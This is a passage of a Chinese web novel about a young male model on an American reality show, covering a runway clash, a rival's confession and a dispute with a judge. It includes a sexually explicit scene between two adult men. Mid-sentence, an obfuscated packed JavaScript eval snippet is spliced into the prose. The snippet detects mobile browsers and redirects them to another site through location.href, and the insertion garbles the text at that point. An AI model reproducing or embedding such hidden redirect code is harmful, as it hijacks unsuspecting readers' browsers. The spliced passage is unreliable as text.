安德烈为什么要算计他已经不重要了。 刺耳的讨论声从四面八方涌来,羞耻的热意慢慢爬上脸颊,令青年姣好的面庞染上了一丝青春的绯红。 不能慌。他告诉自己。 这才哪到哪儿? 超模之路才刚刚开始。 凌云深吸一口气,强迫自己冷静下来。 在他目之所及,没有看到阿什·艾梅洛德的身影。 很好,方便他甩开膀子扭转乾坤。 迅速整理完思路。 凌云先是看了一眼摄影师,然后迅速回正身形。 他一只手插兜,抬脚,锃亮的皮鞋踩在安德烈的胸膛上,结结实实的,把这会儿终于想爬起来的男人踩得身体又是一低。 在对方反应过来反抗之前—— “Nokissing.”他像一个纨绔子弟一样弯腰,另一只手轻佻地拽住对方的领带,用十足傲慢的姿态,强迫一脸错愕的安德烈抬起头来听训。 “只是答应你和你跳舞,没说答应你……”他顿了顿,有些气愤地说道,“总之你不准亲我!” 屏住呼吸。 保持姿势。 不要眨眼。 注意肌肉发力。 一秒…… 两秒…… 三秒…… …… 闪光灯每闪一下,青年的脸色都更加绯红。 之前补妆的时候,卡罗琳随手点在他内眼角的高光为他增添了几分泪意。 现在,对峙中的两人无声地、被迫地交换了权力。 主动权再次回到凌云的手上。 破局并且扣题——凌云饰演了一个因为被男同学唐突而当场翻脸,却仍让人觉得他傲娇、可爱的小少爷,把冲突拉回到【美高毕业舞会】这一主题。 这怎么不算是毕业舞会上令人惊讶、捧腹,又忍不住想继续往下看的剧情呢? 迷人极了,也戏剧化极了。 你才完了。凌云同样用唇语回敬安德烈。 4. 美高毕业舞会(4) “我觉得很有创意。”胡彤小声说道,“你很迷人,你的表现比安德烈亮眼多了,他完全成为了你的陪衬。我要是有你这样的勇气,就不用接受热腾腾的舌头了。” 说完,女人背对着镜头做了个干呕的表情。 胡彤刚结束走秀。她是特意站过来,和凌云挨在一起的。 “而且,要我说……”她顿了顿,见凌云没有反应,轻轻拍了拍他的胳膊,“嘿,回神了,摄像机扫过来了。” 凌云迅速抹了下脸。 “谢谢你,胡彤。”他同样用中文轻声细语地说道,“我有口香糖你要吗?” T台秀还在继续,现在只进行到三分之二的选手。 因此,镜头只是稍微带到台尾已经走完的选手们,很快回到正在走秀的组合身上。 摄像机一移开,凌云便从兜里翻出一盒口香糖,胡彤赶紧谢天谢地地接过。 一旁的其他选手看了他们一眼,听不懂两人之间的对话,用英语小声问:“你们在说中文吗?能不能也给我一片口香糖?” 凌云点点头。 然后口香糖在选手们之间传递,直到结束也没有回到凌云手上。 一盒口香糖倒是无所谓……方才,凌云抬手的时候才意识到,他的后背完全被汗水浸湿。 硬挺的衬衫粘在皮肤上,他不得不借着调整站姿,把面料从自己的背上剥离开。 明明下午的时候,站在太阳底下也没有出汗。 呼—— 好爽。 被那么多双眼睛和镜头注视的感觉好爽。 凌云天生一张菱角唇,哪怕不笑的时候,唇角也是自然上扬的。 这会儿,出于对自己的满意,青年的脸上笑出一枚浅浅的酒窝。 这么说来,还得感谢安德烈不畏艰难自我牺牲的精神。 没记错的话,美国有好几个共产主义组织……安德烈真该入党。 凌云甜蜜地笑着。 “那谁,他还在看你。”仗着整个节目里只有他们两个中国血统,胡彤继续用中文私聊凌云。 “不管他。”凌云回答道。 要是视线有实质,安德烈现在一定是喷火的状态。 凌云硬是从头到尾没给他一个眼神。 爱看看。 刚刚两人走秀时的“意外”,凌云虽然反应很快地编了个傲娇小少爷拒绝男同学的追求的戏码,为自己赚足了镜头,可违反卡罗琳的规则,还是让这位慈爱但严厉的导师脸色阴沉。 连带着其中一位评委——星二代黛米,同样脸色难看。 观众席上的宾客们都是人精,哪怕凌云的临场表现如胡彤所说,非常亮眼,也只有小部分人为他鼓掌——甚至不如相机的快门声响亮。 包括后面陆陆续续走上天桥的选手们,也都是老老实实的,在定点的时候接吻。 就算有个人设计,也是例如女选手强吻男选手这样的颠倒的小巧思,没有人敢忤逆卡罗琳的规则。 ——他们并不知道,凌云不是有意违反规则,而是下午溜出去泡男人,以至于迟到了,压根没听见规则。 在场只有他们两个人会说中文,相当于加密语言了。胡彤一边嚼口香糖,一边继续哔哔:“我也不喜欢这种规则,我不知道除了收视率还有什么意义。卡罗琳公布规则之前,我还想和你继续搭档来着。” “或许收视率就是唯一的意义。”凌云轻声说道。 男女选手混合的真人秀节目,不仅不限制选手们接触,还硬性要求所有人必须在定点的时候接吻——节目组打的什么主意,大家心知肚明。 可是没有人敢违反规则。 就像胡彤,嘴上说着不喜欢,可明明凌云在他前面,凌云就违反了,她不还是遵守了规则吗? 直到现在,也没有第二个选手效仿凌云。 说到底,大家来参加真人秀节目的目的都很明确。 媒体们调侃《荣耀之台》从未培养出哪怕一个超模是不假,但《荣耀之台》的时尚资源也是实打实的。 背靠传奇超模卡罗琳,以及每一季的评委阵容——他们都是当下业内颇具影响力的实权人物。再加上每一期的嘉宾和现场观众,无不是一线从业人员或者资本本身。 哪怕是凌云自己……唔,很难说要是没有迟到,听清楚规则,凌云会怎么选择。 是按部就班地和陌生人接吻? 还是照顾一下某个英俊的混蛋的心情? 谁知道呢? · T台秀来到尾声,仙女教母卡罗琳挥舞着魔法棒,把所有选手叫到台头,对选手们今晚的硬照进行点评。 前面说过,T台秀是表演性质,为的是帮助选手们快速适应T台,是不计入成绩的,所以大家都还算放松,尤其是已经被淘汰的选手们。 本季的三位评委,黛米顶着星二代的标签,实际上父母在好莱坞实在算不上有名,甚至从未大火过。还是黛米作为新人模特出道的时候,经纪公司炒作,大家才知道,哦,原来她的父母都是演员,在几部情景喜剧里演过配角。 不过黛米一路走来时尚资源相当好,娱乐记者们没少挖苦她身材五五分,竟然也成功跻身超模行列,背后应该有别的后台。 《荣耀之台》第二十季官宣评委阵容的时候,娱记们对黛米简直到了喊打喊杀的程度。不知道是不是因为这个原因,凌云总觉得黛米笑眯眯的面具下,好像随时可能火山爆发。 有“混子”超模,就有现役实力超模。珍妮芙作为长期活跃在一线的跨性别女超模,她来当评委是众望所归。 曾经自然性别的时候,当时名字还叫Jensen的珍妮芙差一点成为第二个男性超模。只是,模特行业到底是女人主导的行业,出于个人心理原因及职业规划,珍妮芙最终选择成为一个跨性别女模特,并成功跻身超模行列。 比安卡则是美版《MODE》杂志新上任的副主编。她之前在米兰工作,调到美国后急需站稳脚跟,《荣耀之台》就是一个非常好的曝光和社交渠道。比安卡的年龄仅次于导师卡罗琳,性格也是三位评委中最严肃的。 不过总的说来,真人秀节目,还是美国的真人秀节目,别指望评委性格多温和。可能上一秒还对你笑眯眯的,下一秒就能以犀利的语言把选手骂哭。 幸而站在这里的每一个人,都做好了职业竞争的准备。 卡罗琳以倒序的方式,在大屏上播放选手们的最佳硬照。由于时间关系,选片工作是由节目组的首席摄影师来完成的。 凌云发现一个很微妙的点——没有一张照片是选手们接吻的瞬间的定格。 要么是接吻之前,要么是吻完之后。 总之,每一张都是选手正对镜头的。 有什么在他的脑海中一闪而过,尚未捕捉到,大屏上就播放到他和安德烈的最佳硬照。 凌云有些惊讶,因为照片并不是他脚踩在安德烈的胸膛上,拽着安德烈的领带,肌肉发力姿势相当有张力的那张。 而是一张安德烈站起来后,他面无表情地看着前方,而安德烈几乎以一种失魂落魄的姿态低低地凝视着他的侧脸的照片。 这张照片有一个巨大的问题——凌云的眼神压根就没有对上镜头! 这算什么最佳硬照? 青年脸上的笑容完全消失,嘴唇轻抿着,下颌线绷出一种不符合他年龄的冷和硬。 凌云当然了解自己是怎么完成走秀的,他绝不可能在安德烈爬起来,两人进行二次定点的时候不看镜头。这张照片对凌云来说,完全是最糟糕硬照! 难道是节目组对他违反规则的惩罚吗? 没有麦克风的凌云,无法对选片做出任何反抗。 于是,在评委们客观而刻薄的点评下,这张“最佳硬照”成为了当晚被批评得最严重的一张照片。 · 结束后,胡彤走过来给了凌云一个拥抱。 凌云在短暂的诧异后,很快调整好状态,倒是还算平静。认清节目组的嘴脸,他以后会更加的谨言慎行。 录制结束后的现场人潮涌动,卡罗琳、黛米、比安卡和珍妮芙去送宾客们离开。实际上此刻的社交,才是他们来这档节目的真正目的。 场控告诉选手们,要等到这些大人物们都安全离开现场了,才轮到他们离场。场控让大家可以自由活动,但是千万不要走出格里菲斯天文台,否则错过节目组的大巴车会很麻烦。 或许半小时,或许一个小时,总之等大人物们陆陆续续走完后,会有大巴车负责送被淘汰的选手们去昨晚的酒店休息,他们在《荣耀之台》的旅程到此结束。而晋级的选手们将会入住位于比弗利山庄的超模别墅。 超模别墅——振奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103003|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人心的词汇。 选手们有人激动欢呼,有人含泪告别。 凌云匆匆往外走。 他得去找阿什。节目组收了他的手机,拍摄期间他很难主动联系阿什,要是今天不和好,恐怕下次见面的时候,两人都是单身了。 凌云还不想分手。 “你说,我现在要不要先……凌云?你走那么快干嘛?”胡彤提着裙摆费力地追上来。 凌云紧急刹车。 他握住穿着高跟鞋,不比他低多少的女人的肩膀:“女士、好姑娘,我建议你先别急着卸妆,因为去超模别墅的路上,节目组应该会补拍一些镜头。”凌云注意到胡彤眨眼睛的频率有一点高,猜到她应该是眼睛不舒服,“我有点事要出去一下,很快回来……要是太晚没回来,麻烦你找一个叫约翰的跟拍摄像师过来找我,可以吗?” 胡彤愣了一下,点头:“好的。” 无论是出于同样中国血统,还是早上,凌云主动找到她提出搭档,两人一起,拿下最佳硬照,胡彤都对这个小她很多岁的青年充满好感。 凌云的情商很高,目前看来不是一个坏人。漫长的录节目时间里总要有朋友不是吗? 胡彤没有问他要去哪儿,也没有问那个叫约翰的跟拍摄像师到时候怎么找到他。反正凌云说什么她照做就是了。 “谢谢你!”凌云笑着说道,“我回来的时候会给你带眼药水,坚持一下,很快。” 说完,两人一起朝着天文台圆顶走去。 穿着旗袍的女人和其他选手以及工作人员一起回到后台。人潮涌动,没有人注意到凌云跟在宾客们后面,从圆顶侧面的楼梯下了楼。 穿着高级成衣的青年在一群穿着定制礼服的宾客中并不显眼。凌云故意往草坪边缘靠,顺着围栏小跑。 到停车场,面对一溜长得差不多贵的黑色豪车,凌云才懊恼地拍了拍额头。 他压根不知道阿什在洛杉矶的座驾的车牌号。 这要怎么找人? 好在很快,人就来找他了。 阿什·艾梅洛德的助理西蒙从后面出现,叫住凌云,带他去找他那今天不知道抽什么风的情人。 “嘿,你能帮我买一瓶眼药水吗?”上车前,他对西蒙说,“最好是人工泪液,戴隐形眼镜也能滴的那种。” “好的。” 凌云这才拉开车门上车。 说不收穷人的花的那位男士,此刻正面无表情地坐在中排。 没系安全带,翘着二郎腿,面无表情地看着他。 等车门自动合上并上锁,凌云才手扶在副驾驶的座椅靠背上,弯着腰,下巴抬起来,笑眯眯地说道: “嗨,亲爱的,你是落魄了吗?现在坐这种车啦?” 凌云口中的落魄车叫丰田埃尔法,号称保姆车里的天花板。这辆车从发行之初就被调侃售价非常尴尬——价格远超一般轿车和轿跑,比肩入门级的跑车。 普通人谁钱多得没事干,会买这种车? 真正的有钱人会买。 丰田埃尔法对客户的定位非常精准。只有不缺钱,买车非刚需的高端用户,才会在拥有了劳斯莱斯等乘坐体验,和科尼塞克等驾驶体验的豪车后,再买一辆丰田埃尔法用于买菜和接送孩子。 有保姆的家庭才会买保姆车。 凌云的挖苦完全是无稽之谈。 金发碧眼的男人惜字如金道:“因为它原本是为你准备的。” 凌云适时地发出一声惊喜的尖叫,好像两人之间从来没有过任何嫌隙似的:“谢谢亲爱的!你对我也太好了!” 说得好像真心的一样。 阿什掀起薄薄的眼皮,这下彻底不想说话了。 “你和我还生什么气呀?” 凌云走上前,蹲下来,仰着头和他脸颊贴贴,嘴里叽里咕噜的,一点也不在乎男人这摆明了在给他脸色看的态度。 “小气鬼。我不就是发了一下脾气吗?你没对我发过脾气吗?” “我来洛杉矶了。”意思是给你台阶下了。 凌云戳他胸膛:“那你不收我的花!” 他等了几秒,发现,好了,又不说话了。 脾气古怪的日耳曼男人! “那你想我怎么哄你?”他干脆往下按,“咬?” “哇!阿什·艾梅洛德!你很色耶!” 5. 美高毕业舞会(5) 凌云费了点劲才把皮带扣咬开。 西装布料被涎水洇湿,显然这并不是凌云的最终目的,他很容易地就用嘴唇衔着拉链头往下扯。 然后满意地看见:“嘿!这可不是我淌的。” 男人不置可否。 他轻轻抬了下腰,配合青年脸颊的磨蹭,好让内里更贴肤的面料可以被顺利褪下。 然后,伸手,手掌轻轻揩去青年嘴角下巴上的唾液,又把大拇指卡进他的齿关。 问他:“很饿?” “是啊。”凌云大大方方道,“一晚上没吃东西呢。你要喂饱我。” 他用牙齿轻轻咬了咬男人的手指,示意他别捣乱,然后,那根可恶的手指开始按压他的舌面。这下凌云真的着急了。 他拿眼睛瞪阿什,有点警告的意思。 男人还是不放开他。 因为动情的缘故,阿什的声音变得低沉,讲话间带着股喑哑的鼻音。凌云爱死他用这种声音说话了。 ——很日耳曼男人,有种禁欲者放荡的爽。 “留着声音叫行不行?”凌云和他商量,“你知道自己要很长时间吧?” “你有足够的时间提供服务。”阿什告诉凌云,“我带来的高管正在接触卡罗琳,至少要一个小时后,才会集合。” “唔……”什么高管不高管的。 凌云现在没办法思考别的事。 “一个问题。”阿什终于把手抽出来,“为什么这么喜欢?” “你在问什么傻话。”开动之前,凌云翻了个白眼,他觉得阿什简直是在问弱智问题,“我是同性恋,喜欢男性特征很正常好吧?你第二性征发育得挺好的。” “以及,我从来不认为咬是一种屈服。我很享受。” …… 手从对方的后领中抽出来,阿什顺手在他腋下捞了把,让他坐到自己的腿上。 “你出汗了。”他的声音比之前更加低沉,闷得像暴风雨的前夜。 “嗯。”凌云吨吨喝了半瓶矿泉水,才回答,“走秀出意外的时候有一点太兴奋了。” 他把矿泉水瓶扔到副驾驶上,伸手问男人要车钥匙。 说了是送给他的车:) “给你配了司机。”阿什从钱夹里抽出一张卡片。 想了想,又拿了两张卡,一起递给他。 “需要的时候打司机电话。” “嗯嗯嗯!”凌云快速点头。 刚刚阿什捞过搭在一旁座椅上的西装外套,翻找钱夹的时候,他忙着售后,现在刚把皮带扣扣好。 想了想,凌云还是决定问一下,他让约翰过去送花的时候,阿什到底为什么拒绝。 “为什么不收我的花?” “就是字面意思——我决定再也不要花穷人一分钱。” “……” 出乎男人意料的是,在互瞪了快半分钟后,凌云并没有像以前一样扑上来,抓花他的脸,或者揪着他的领子,非要和他吵出个一二三四五六七。 而是突然粲然一笑——尽管从某种意义上叫人毛骨悚然——柔情蜜意地撒娇道:“亲爱的,我们这样坐着有点挤。” 当然挤了。 凌云的身高是男模标准的188cm,阿什·艾梅洛德更是有196cm高。哪怕丰田埃尔法已经是车内空间相当宽敞的车型,两个身高腿长,体格并不羸弱的男人叠坐在一起,依旧挤得要命。 “那你去旁边坐……” “你起来让我坐。”凌云说,“换你蹲着,换你给我咬了。” 阿什:“……” · 等到西蒙回来,远远地用车钥匙打开车内阅读灯,提醒两人,时间差不多了的时候。 矿泉水瓶被扔在复合木地板上。 现在,里面一滴水也没有了。 “我要走了。”凌云问他,“要不要亲个小嘴?” “不必。”男人拒绝。 青年耸了耸肩。 “好吧,是你不要的。我真的得走了。”将高级成衣的褶皱抹平,凌云状似不经意地说道,“对了。” “嗯?” “刚刚骗了你。” “什么?”男人一愣。 “咬就是屈服。” “……” “我很满意你的屈服。”他硬是凑过去,在男人的脸颊上啾了一下,“下次见吧。” 说完,不给男人任何反应的机会,拉开车门下车。 凌云整个人神清气爽! 几米外等候的西蒙走过来,将眼药水交给他。 凌云看也没看,直接揣进西装口袋里。阿什·艾梅洛德有三个工作秘书,一个特别助理。西蒙的能力很强,阿什说过,西蒙上一次犯错还是三年前了。 “走了。”他朝西蒙挥挥手。 然后收到了助理的温馨提示:“建议您走右边,好避开卡罗琳。” 带着西蒙的建议,凌云一路小跑回去,过程中幸运地没有被节目组的工作人员认出来。宾客们还没走完,如阿什所说,看上去还要一会儿才会集合。 凌云停止跑步,他脚步慢下来,步伐却依旧轻快。 走到楼梯下时,预感到什么,青年的脚步顿住,往一旁侧身。 于是那只手没能在今天第二次拽住他。 “安德烈。” 阴影中走出来一个人,正是安德烈。 “我要和你谈谈。”安德烈说。 凌云想了想,点点头,主动配合他往角落里走。 还贴心地主动询问:“你想和我谈……”什么。 “你去哪儿了?”安德烈问。注意到青年上扬的嘴角,和脸上不正常的红晕,他猛地瞪大眼睛。 下一秒视线迅速下移——不对,着装完好,并没有可疑的折痕。 安德烈的脸色变来变去,凌云被打断也没有生气,而是好奇地看着他。 他记起来,他听说过,美国好像存在一种蜥蜴人,安德烈这脸色,该不会就是一条成精的变色龙吧? 凌云只稀奇了几秒,安德烈已经思考完了。 他厉声质问道:“你干什么去了!你心情怎么这么好!” ——这句话几乎是吼出来的。 要不是两人站在建筑物后面,四下无人,这会儿肯定已经被人围观了。 安德烈吼完才感到后悔……他没想吼凌云的。 · 一个小时前,安德烈看到凌云和那个中国女人交谈,看到他们一起往后台走。安德烈下意识抬脚跟上,他也不知道自己为什么要跟上凌云,总之,他那么做了。 他保持着不远不近的距离,然而很快,他发现凌云好像并不是要回后台。 凌云竟然趁着工作人员不注意,跟在宾客们后面,往楼下去了! 来不及多想,安德烈迅速跟上。 凌云从楼梯下来就开始小跑,安德烈只好也跑。他始终和凌云有一段距离。他看着青年以灵巧的身姿从临时大门跑了出去,一眨眼就消失在了视野里。 安德烈还要再追。 不知道是不是他那头红发太过于显眼的原因,竟然被卡罗琳给认了出来。 卡罗琳招手,叫安德烈过去。 安德烈皱着眉,本来不想去的,突然想起来自己似乎在老爸的办公桌上看见过《荣耀之台》的剧本。这档节目似乎有复活赛? 他不情不愿地走到卡罗琳身边,成为这位女士社交的陪衬。 心不在焉的半小时后,卡罗琳终于放过他,提着裙子,去找下一位名流攀谈。不过卡罗琳留了个心眼,交代工作人员,看好这位头脑简单四肢发达的大少爷,别让他跑丢了。 安德烈对着不远处的停车场望眼欲穿。 好不容易又熬了半小时,凌云终于回来了! 青年狡猾极了,他的身姿像燕子一样灵活,或者其实他穿了隐形斗篷?安保、工作人员就像是看不见他似的,他再一次悄无声息地穿过人群,就要偷偷地回到现场! 安德烈终于忍不住了,决定叫住他——当然,他一开始的计划其实是把凌云捉住。只可惜凌云变得警惕了许多,他没能抓住青年皓白的手腕。 然后…… 然后就是现在这样。 安德烈冷静了一点,找补道:“不是故意吼你的……我想提醒你,快集合了。你不应该到处乱跑的,被人看到会有麻烦。” 没头没脑地说完后,安德烈自己先愣住了。 他怎么会说出这种话? 原来是这样啊!凌云把安德烈脸上古怪的表情归结为他知道错了,但又拉不下脸来道歉,只好选择这种方式别扭地散发善意。 “我知道了。”凌云说,“谢谢你的提醒,我想应该没有第二个人看到吧?” “当然!”安德烈飞快地接道,“我不会告诉别人的。” “那更好了。这样我的心情还会更好。”凌云笑眯眯地说道。 他在等安德烈继续往下说。他现在心情真的很好,所以哪怕安德烈并没有直接把道歉的话说出口,凌云也决定好了要忘掉之前的不愉快。 毕竟确实是他迟到了没听见规则,还把安德烈推倒在地。 安德烈临时变卦,说了不接吻还凑上来,或许是因为他脑子不太聪明吧? 不管怎么样,T台秀不计入成绩,不会影响两人一个晋级一个淘汰的结果。 凌云大方地说道:“之前的事我原谅你了。” 说着,还伸出手。 安德烈:“……” 他怔怔地看着眼前这只刚刚他想抓没抓住的手,什么也没说,轻轻握了上去……就是握得有一点久了。 凌云保持微笑,面不改色地用另一只手拍掉安德烈紧抓着他不放的手。 “那我们上去……” “对不起。”安德烈说,“我不应该那么粗鲁的。” 他终于真心地为之前走秀时的意外道歉。 道歉的话说出口,后面的剖白就容易多了。 “我……我之前就知道你。面试那天,我对你印象深刻。我能拼读你的姓氏,是希腊语对吧?” “早上也是真的想和你搭档。你的想法很棒,还原《哈利波特》简直就是天才的创意。” “我只是很……不理解,是不理解。你为什么不选择我?我主动和你打了招呼,我们的发色明明可以扮演哈利和罗恩,会比你染发更方便。” “还有就是T台秀的时候……” 说到这里,他抿了抿唇。 “反正,就是这样。” 凌云耐心地听完,脸上的表情随着安德烈的陈述变得愈发柔和。 原来是这样啊。 他柔声问道:“你之前就认识我了?” 安德烈:“嗯。” “你一直在默默地关注我?” “嗯。” “临时变卦是因为想吻我?” “……是。” 事情已经明了,凌云叹了口气。 他在西裤的两侧摸索,想起来自己早就不是游轮上的服务生了,怎么可能还随身携带着那种东西? 于是伸手,问安德烈索要,也不管人家有没有。 “给我吧。” “什么?”安德烈不解。 “笔和纸。”凌云说。 安德烈刚想说他并没有随身携带笔和纸,话到嘴边猛然顿住。 凌云……是要给他留电话号码吗? “你等一下。”他飞快地说道,“我去找人要。一分钟。” 说完便大踏步离开,走了几步竟然跑起来。 凌云在原地等了一会儿,安德烈的动作确实很快,真的一分钟就赶回来了。 安德烈递给凌云一叠粉红色的便利贴,和一支咕了钻的圆珠笔,期待地看着他,喉结不住地上下滑动。 凌云的鼻尖嗅到甜美的果香,他猜,安德烈应该是问一位女工作人员借的。 不重要。 他对安德烈说:“挺好的,虽然短时间内不会再见面了,但是,如果你努力的话,或许未来我们还能再站在一个T台上。” “嗯。”安德烈直勾勾地盯着凌云的手。 注意到他的目光,凌云轻笑一声。 “这就写给你。”他摁出笔芯,开始写字。同时,不忘提醒安德烈,“你喜欢我也要注意尺度,不能再这么莽撞了。” 安德烈:“知道了。” 凌云笔走龙蛇,龙飞凤舞,写完自己也很满意,检查了好几遍后,才郑重地交到安德烈手上。 “给你。那我就先上去了,你自己再平静一会儿吧。” 凌云走了。 安德烈的心跳很快,几乎要从胸腔里 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那么,这应该是他的中文签名。 凌云给他签了个名。 安德烈:“……” · 凌云成功赶在集合前回到后台。 T台秀结束后,工作人员过来给大家发了盒饭。不过模特大多有不吃晚饭的习惯,只有寥寥几个人拿了。 选手们几个几个凑在一起聊天,有人发现凌云不在,也只是以为他在外面吹风,或者去卫生间了,没人真的追究凌云的去向。 看到他回来,也没有多惊讶。 凌云回应了几个比较友善的打招呼,然后径直走到胡彤面前。 双胞胎姐妹凯莉和佩姬原本在和胡彤聊天,她们三个月前还在中国当电商模特呢,对中国籍的亚洲小姐选美冠军胡彤很有好感,来和她聊了会儿天。 见凌云走过来,误以为两人之间有什么暧昧,眼神揶揄地打量着两人,然后手挽手地走了。 凌云坐下来,把眼药水递给胡彤。 “救我命了!”胡彤大喜,赶紧拆封。她简单看了下包装,发现是带润滑效果的人工泪液,于是直接往戴着美瞳的眼球上滴。 滴完,长舒一口气:“好像是基弧比较刁钻,磨得我难受死了。” 凌云:“嗯嗯嗯!听不懂。” 胡彤忍不住捏了捏他的脸颊:“你是混血嘛。我要是有你这样的绿眼睛,我也用不着戴美瞳了。” 两人没聊几句,工作人员就过来通知他们,可以上车了。 十六名选手一个不少,跟着工作人员下楼。这时候,宾客们几乎都走完了,也没看到被淘汰的十六名选手,好像说是比他们先走一步。 临时搭建的T台正在拆卸,很快,这座天文台就会恢复到它以往的庄严和肃穆。 上车后,司机没有急着启动,而是和大家一起坐着等。 胡彤从后面戳了戳凌云。 “你说对了,果然还要补拍镜头。幸好我没有卸妆。”胡彤只要一和凌云说话一定用中文。 凌云告诉她:“其实早晚会被拍到素颜。” “能晚一天晚一天吧。”胡彤伤感道,“老娘一个选美冠军,这辈子也没自卑过颜值。也就是这节目在美国拍——你们这些白人啊混血啊的,都是建模怪,脑袋怎么这么小啊!” “我是亚裔谢谢,那一滴毛子的血改变不了我的中国心。”凌云强调。 说话间,车门再次打开,跟拍摄像师约翰扛着沉重的器材上车。凌云猜这个点了干这活儿,应该不是约翰业务能力很强的原因,是他命比较苦所以才没下班。 令人意外的是,跟在约翰身后的不是导师卡罗琳,而是黛米。 一般来说,入住超模别墅的当天,都是导师卡罗琳来为选手们讲解注意事项,这还是第一次由评委跟车。 凌云有一种淡淡的、不好的预感。 果然。 黛米上车后,大巴车启动。摇摇晃晃的路途中,约翰在中间尽职尽责地拍摄,黛米一上来,先是和大家打招呼,询问大家心情如何。 选手们纷纷表示很开心,虽然有点累,但今晚的T台真的棒得不可思议。 在这个过程中,凌云感受到若有似无的视线,隐秘而不善,来自黛米。 凌云迅速意识到,今晚还没结束。 而黛米的出招也来得非常快。 “卡罗琳有别的事要忙,她真的非常关心你们,所以安排了我过来,给你们再复盘一次。”黛米从皮包里拿出一叠照片,是打印出来的选手们的最佳硬照。 “你们已经晋级了,导师和评委对你们要求会更加严格。布莱尔?我听到你倒吸气的声音。不要紧张,你今天的发挥非常棒,至少打动了我。” “啊……所以我真的吓到你们了?” “Surprise!我其实是来夸奖你们。” 短暂的沉默后,车厢里沸腾起来。 选手们大声说着黛米真的很可爱,为她着迷,他们爱她。黛米欲扬先抑的做法让大家紧绷的神经顷刻来到高潮,她迅速赢得了所有选手的好感。 摄像机忠实地记录下这一切。 也就是在这里,黛米终于抛出了她今晚的真正目的。 “但是有一件事,原谅我不得不代替节目组追究。”黛米看向坐在后面的凌云,眼神中带着谴责和惋惜,就好像这一切并非出自她的本意,她只是不得不这么做,“今晚,每一个人都遵守了规则,包括被你推倒在地上的安德烈。凌云,那么你能告诉我你为什么要这么做吗?” 黛米步步紧逼:“如果你对节目组的规则感到不满,完全可以在走秀之前就提出来,而不是把气撒到你的搭档身上。你是故意这么做的吗?” 霎时间,所有人都看了过来,目不转睛地盯着凌云,盯着这个他们中唯一一个没有和自己的搭档接吻的人。 “如果你不是故意的话,那么我希望你……” “我是。” “Yes,Iam。不好意思,刚刚说了中文。”凌云眯起眼睛,一字一句地说,“我就是故意的,你想听听我是怎么想的吗?” 6. 紫色床单(1) 谁也没有想到凌云会这么嚣张。 有那么几秒,车厢里安静到落针可闻,所有人不约而同地屏住呼吸,直到一声抽泣声打破这寂静。 “咻——” “看我干嘛?”说话的女人叫斯隆,有着一头比凌云今天临时染的还要耀眼的金发。她屈起指节点了点鼻尖,有些恹恹地开口,“鼻炎犯了。或许有好心人……谢谢。” 好心人凌云递给他一包纸巾。 “不用谢,顺的化妆师的。”凌云说。 小插曲过后,大家仿佛终于意识到,他们不是在法庭上,更没有坐在被告席,用不着这么严肃。于是纷纷发出一点类似于咳嗽之类的小动作,来缓解,刚刚简直被凌云的气势吓到的尴尬。 真的有够盛气凌人的。不少人这么想。 竟然敢和评委正面碰上,还当着摄像机的面,说他就是故意不遵守规则的。 不知道怎么说。 嗯……有点帅,还很爽。不确定,再看看。 换黛米脸上的笑容挂不住了。 她没想到,凌云竟然会承认他是故意违反规则的。只有冤枉你的人才知道你究竟有多冤枉——没错,黛米知道凌云其实不是故意的。 因为点评之前,卡罗琳明确告诉过三位评委,走秀时之所以出现意外,是因为凌云在她宣布规则的时候迟到了。 “这孩子。”卡罗琳的语气里听不出喜怒,“我想我应该在发现他迟到后批评他,而不是放过。单独重申一遍规则好过于他真的什么都不知道地站上T台。” 人精如珍妮芙,也没能听出,卡罗琳的话里究竟是责备更多还是袒护更多。 卡罗琳没有额外的指示,于是点评环节,三位评委客观发言,仅仅针对那张只要是明眼人都能看出来有问题的照片发表专业看法。 当时,没有人提凌云为什么拒绝和搭档接吻这件事。 只是当时。 黛米咬着下唇,想起刚刚她去找安德烈,想安慰他时,安德烈竟然说…… 凌云就是违反了规则不是吗?所以现在,她站在节目组的角度追责也无可厚非。 “你承认你是故意违反规则的?”黛米问。 “是。”凌云毫不畏惧地与她对视,说道,“我基于一个模特的基本素养,故意违反了规则。” “我拒绝和同事有超出朋友尺度的感情。拜托,我们是模特诶,如果我们中的一些人,真的发展成了情侣,设计师能放心把我们放在后台吗?” “受荷尔蒙支配的、黏黏乎乎的、随时能打上一炮的小情侣。哈!讲真的,我要是设计师,我绝不可能让他们和我辛辛苦苦做出来的,批量生产之前只有一件的衣服待在一起。” “它们会被弄脏的。” “节目组的规则从头到尾就是有问题。”他一锤定音道。 · 凌云的发言过于震撼,震撼到,黛米当场勒令摄像师立刻停止拍摄。 接下来的十几分钟里,大巴车上没有人说话,所有选手都是一副若有所思的表情。 似乎,凌云说的是对的。 从来没有人思考过节目组制定的规则是否合理,大家都默认参加节目就要遵守规则。 可是如果这个规则本身就违背了模特的基本素养呢? 没有留给大家太多思考时间,大巴车停在了一栋带泳池的别墅前。这就是超模别墅,接下来,选手们接受封闭式训练的地方。 所有人顶着一脸浓妆下车。 六月的洛杉矶简直热得要人命,哪怕这里是大名鼎鼎的比弗利山庄,空气也是闷人的。 并没有自媒体博主口中的金钱的味道。 卸妆、洗澡、睡觉——这是选手们共同的念头。 可是黛米需要向他们讲解…… “砰——” 车门关上,接着是大巴车引擎发动的声音。 大家惊奇地发现,黛米竟然没有下车! 她带着摄像师竟然就这么走了! 深感无语,大家把目光转到凌云身上。这个亚裔选手还是太强了,他甚至没有使出他最大的优势——指控别人对他进行种族歧视——要知道往季《荣耀之台》,有一个永恒不变的看点,那就是非白人选手指控别人对她种族歧视了。 这一招可谓是谁用谁管用,有高达百分之八十的概率,把对方淘汰出局。如果不管用,一定是因为对方同样抹着泪细数自己爷爷的爷爷的爷爷是黑人,总之血统不那么纯白,才可能逃过一劫。 而凌云,竟然用“模特的基本素养”,把一个现役超模——即使是水分争议很大的超模——真人秀节目的评委,就这么吓得落荒而逃了? “都看着我干嘛?”凌云打了个哈欠。 正巧这时,负责管理超模别墅的工作人员出来,解救了这又尴尬又可怕的场面。 